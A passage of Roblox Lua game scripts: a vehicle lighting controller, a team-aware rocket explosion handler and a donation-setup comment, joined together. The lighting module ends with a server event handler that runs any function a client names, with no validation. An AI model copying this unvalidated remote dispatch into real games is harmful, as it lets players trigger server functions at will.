tw:Play() end end for idx, child in pairs(lights.RightInd:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 1, Range = 16}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.02}) tw:Play() end end elseif type == "LED" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 0}) local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 0}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 2 child.Range = 16 elseif child.Name == "LN" then child.Transparency = 0 end end for idx, child in pairs(lights.RightInd:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 2 child.Range = 16 elseif child.Name == "LN" then child.Transparency = 0 end end end wait(flash_rate) else if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end for idx, child in pairs(lights.RightInd:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end elseif type == "LED" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 1 end end for idx, child in pairs(lights.RightInd:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 1 end end end wait(flash_rate) end else if state then if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 0}) local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 0}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child.Name == "SI"..tostring(current_segment) then local tw = TweenService:Create(child, t, {Transparency = 0.02}) tw:Play() end end for idx, child in pairs(lights.RightInd:GetDescendants()) do if child.Name == "SI"..tostring(current_segment) then local tw = TweenService:Create(child, t, {Transparency = 0.02}) tw:Play() end end elseif type == "LED" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 0}) local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 0}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child.Name == "SI"..tostring(current_segment) then child.Transparency = 0.02 end end for idx, child in pairs(lights.RightInd:GetDescendants()) do if child.Name == "SI"..tostring(current_segment) then child.Transparency = 0.02 end end end wait(flash_rate) else if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end for idx, child in pairs(lights.RightInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end elseif type == "LED" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then child.Transparency = 1 end end for idx, child in pairs(lights.RightInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then child.Transparency = 1 end end end wait(flash_rate) end end else if not seq then if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end for idx, child in pairs(lights.RightInd:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end elseif type == "LED" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 1 end end for idx, child in pairs(lights.RightInd:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 1 end end end wait(flash_rate) else if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end for idx, child in pairs(lights.RightInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end elseif type == "LED" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then child.Transparency = 1 end end for idx, child in pairs(lights.RightInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then child.Transparency = 1 end end end wait(flash_rate) end end end F.Headlights = function(state, fade_time, tb, type) if type == "Halogen" then if state == 0 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() if plactive then for idx, child in pairs(lights.Headlights.Low:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.7}) tw:Play() end end for idx, child in pairs(lights.Headlights.High:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end elseif not plactive then for idx, child in pairs(lights.Headlights:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end end elseif state == 1 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.Headlights.Low:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 2, Range = 48}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.2}) tw:Play() end end elseif state == 2 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.Headlights:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 3.5, Range = 60}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.02}) tw:Play() end end elseif state == 3 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.Headlights:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 4.25, Range = 60}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.02}) tw:Play() end end end elseif type == "LED" then if state == 0 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() if plactive then for idx, child in pairs(lights.Headlights.Low:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 0.7 end end for idx, child in pairs(lights.Headlights.High:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 1 end end elseif not plactive then for idx, child in pairs(lights.Headlights:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 1 end end end elseif state == 1 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.Headlights:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 2 child.Range = 48 elseif child.Name == "LN" then child.Transparency = 0.2 end end elseif state == 2 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.Headlights:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 3.5 child.Range = 60 elseif child.Name == "LN" then child.Transparency = 0.02 end end elseif state == 3 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.Headlights:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 4.25 child.Range = 60 elseif child.Name == "LN" then child.Transparency = 0.02 end end end end end F.Popups = function(state, enabled) if enabled then local motor = PHeadlights.Hinge:WaitForChild("Motor") motor.MaxVelocity = 0.08 if state then motor.DesiredAngle = -0.75 elseif not state then motor.DesiredAngle = 0 end end end F.PopupLights = function(state, fade_time, tb, type) if type == "Halogen" then if state == 0 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() if plactive then for idx, child in pairs(PHeadlights.Parts.Headlights:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.7}) tw:Play() end end elseif not plactive then for idx, child in pairs(PHeadlights.Parts.Headlights:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end end elseif state == 1 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(PHeadlights.Parts.Headlights:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 2, Range = 48}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.2}) tw:Play() end end elseif state == 2 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(PHeadlights.Parts.Headlights:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 3.5, Range = 60}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.02}) tw:Play() end end elseif state == 3 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(PHeadlights.Parts.Headlights:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 4.25, Range = 60}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.02}) tw:Play() end end end elseif type == "LED" then if state == 0 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() if plactive then for idx, child in pairs(lights.Headlights:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 0.7 end end elseif not plactive then for idx, child in pairs(lights.Headlights:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 1 end end end elseif state == 1 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.Headlights:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 2 child.Range = 48 elseif child.Name == "LN" then child.Transparency = 0.2 end end elseif state == 2 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.Headlights:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 3.5 child.Range = 60 elseif child.Name == "LN" then child.Transparency = 0.02 end end elseif state == 3 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0}) local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.Headlights:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 4.25 child.Range = 60 elseif child.Name == "LN" then child.Transparency = 0.02 end end end end end F.FogLights = function(state, fade_time, tb, type) if state then if type == "Halogen" then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[4], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0}) gtwe1:Play() for idx, child in pairs(lights.Fog:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 3.75, Range = 60}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.02}) tw:Play() end end elseif type == "LED" then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[4], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0}) gtwe1:Play() for idx, child in pairs(lights.Fog:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 3.75 child.Range = 60 elseif child.Name == "LN" then child.Transparency = 0.02 end end end elseif not state then if type == "Halogen" then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[4], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) gtwe1:Play() for idx, child in pairs(lights.Fog:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end elseif type == "LED" then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[4], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) gtwe1:Play() for idx, child in pairs(lights.Fog:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 1 end end end end end F.ParkLights = function(state, tb) if state then local gtwe = TweenService:Create(tb[3], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0}) gtwe:Play() plactive = true else local gtwe = TweenService:Create(tb[3], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1}) gtwe:Play() plactive = false end end F.BrakeLights = function(state, fade_time, type) if type == "Halogen" then if state then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) for idx, child in pairs(lights.Brake:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 2.5, Range = 38}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.02}) tw:Play() end end else local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) for idx, child in pairs(lights.Brake:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end end elseif type == "LED" then if state then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) for idx, child in pairs(lights.Brake:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 3.5 child.Range = 38 elseif child.Name == "LN" then child.Transparency = 0.02 end end else local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) for idx, child in pairs(lights.Brake:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 1 end end end end end F.RearLights = function(state, fade_time, type) if type == "Halogen" then if state == 0 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) if plactive then for idx, child in pairs(lights.Rear:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.7}) tw:Play() end end elseif not plactive then for idx, child in pairs(lights.Rear:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end end elseif state == 1 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) for idx, child in pairs(lights.Rear:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 1.5, Range = 25}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.2}) tw:Play() end end end elseif type == "LED" then if state == 0 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) if plactive then for idx, child in pairs(lights.Rear:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 0.7 end end elseif not plactive then for idx, child in pairs(lights.Rear:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 1 end end end elseif state == 1 then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) for idx, child in pairs(lights.Rear:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 1.5 child.Range = 25 elseif child.Name == "LN" then child.Transparency = 0.2 end end end end end F.DashboardIndicators = function(headlights, indicators, parklights) end F.Reverse = function(state, fade_time, type) if type == "Halogen" then if state then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) for idx, child in pairs(lights.Reverse:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 1, Range = 20}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.03}) tw:Play() end end else local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) for idx, child in pairs(lights.Reverse:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end end elseif type == "LED" then if state then local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) for idx, child in pairs(lights.Reverse:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 1 child.Range = 20 elseif child.Name == "LN" then child.Transparency = 0.03 end end else local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) for idx, child in pairs(lights.Reverse:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 1 end end end end end F.IndsOnLeave = function(left, right, hazard, sequential, segs, fr, type) event.IndicatorsAfterLeave.Disabled = false wait() leaveseatevent:Fire(left, right, hazard, sequential, segs, fr, type) end event.OnServerEvent:Connect(function(pl, Fnc, ...) F[Fnc](...) end)
-- Customized explosive effect that doesn't affect teammates and only breaks joints on dead parts
local TaggedHumanoids = {} local function OnExplosionHit(hitPart, hitDistance, blastCenter) if hitPart and hitDistance then local character, humanoid = FindCharacterAncestor(hitPart.Parent) if character then local myPlayer = CreatorTag.Value if myPlayer and not myPlayer.Neutral then -- Ignore friendlies caught in the blast local player = PlayersService:GetPlayerFromCharacter(character) if player and player ~= myPlayer and player.TeamColor == Rocket.BrickColor then return end end end if humanoid and humanoid.Health > 0 then -- Humanoids are tagged and damaged if not IsInTable(TaggedHumanoids,humanoid) then print("Tagged") table.insert(TaggedHumanoids,humanoid) ApplyTags(humanoid) humanoid:TakeDamage(BLAST_DAMAGE) end else -- Loose parts and dead parts are blasted if hitPart.Name ~= 'Handle' then hitPart:BreakJoints() local blastForce = Instance.new('BodyForce', hitPart) --NOTE: We will multiply by mass so bigger parts get blasted more blastForce.Force = (hitPart.Position - blastCenter).unit * BLAST_FORCE * hitPart:GetMass() DebrisService:AddItem(blastForce, 0.1) end end end end local Isexplosion = false local function OnTouched(otherParts) for i,otherPart in ipairs(otherParts)do if Rocket then -- Fly through anything in the ignore list if IGNORE_LIST[string.lower(otherPart.Name)] then return end local myPlayer = CreatorTag.Value if myPlayer then -- Fly through the creator if myPlayer.Character and myPlayer.Character:IsAncestorOf(otherPart) then return end -- Fly through friendlies if not myPlayer.Neutral then local character = FindCharacterAncestor(otherPart.Parent) local player = PlayersService:GetPlayerFromCharacter(character) if player and player ~= myPlayer and player.TeamColor == Rocket.BrickColor then return end end end -- Fly through terrain water if otherPart == workspace.Terrain then --NOTE: If the rocket is large, then the simplifications made here will cause it to fly through terrain in some cases local frontOfRocket = Rocket.Position + (Rocket.CFrame.lookVector * (Rocket.Size.Z / 2)) local cellLocation = workspace.Terrain:WorldToCellPreferSolid(frontOfRocket) local cellMaterial = workspace.Terrain:GetCell(cellLocation.X, cellLocation.Y, cellLocation.Z) if cellMaterial == Enum.CellMaterial.Water or cellMaterial == Enum.CellMaterial.Empty then return end end Isexplosion = true -- Create the explosion local explosion = Instance.new('Explosion') explosion.BlastPressure = 0 -- Completely safe explosion explosion.BlastRadius = BLAST_RADIUS explosion.ExplosionType = Enum.ExplosionType.NoCraters explosion.Position = Rocket.Position explosion.Parent = workspace -- Connect custom logic for the explosion explosion.Hit:Connect(function(hitPart, hitDistance) OnExplosionHit(hitPart, hitDistance, explosion.Position) end) -- Move this script and the creator tag (so our custom logic can execute), then destroy the rocket script.Parent = explosion CreatorTag.Parent = script Rocket:Destroy() end end end
--These are all donations that can be done. You must set this up with your own products to make money of it. --To make a product you have to make a Developer Product in your game's settings page. --You can make as many as you want, Once you made one, copy it's ID and past it in the 'ProductId' variable in this script. --Change the 'ProductPrice' to what the Developer Product Costs.
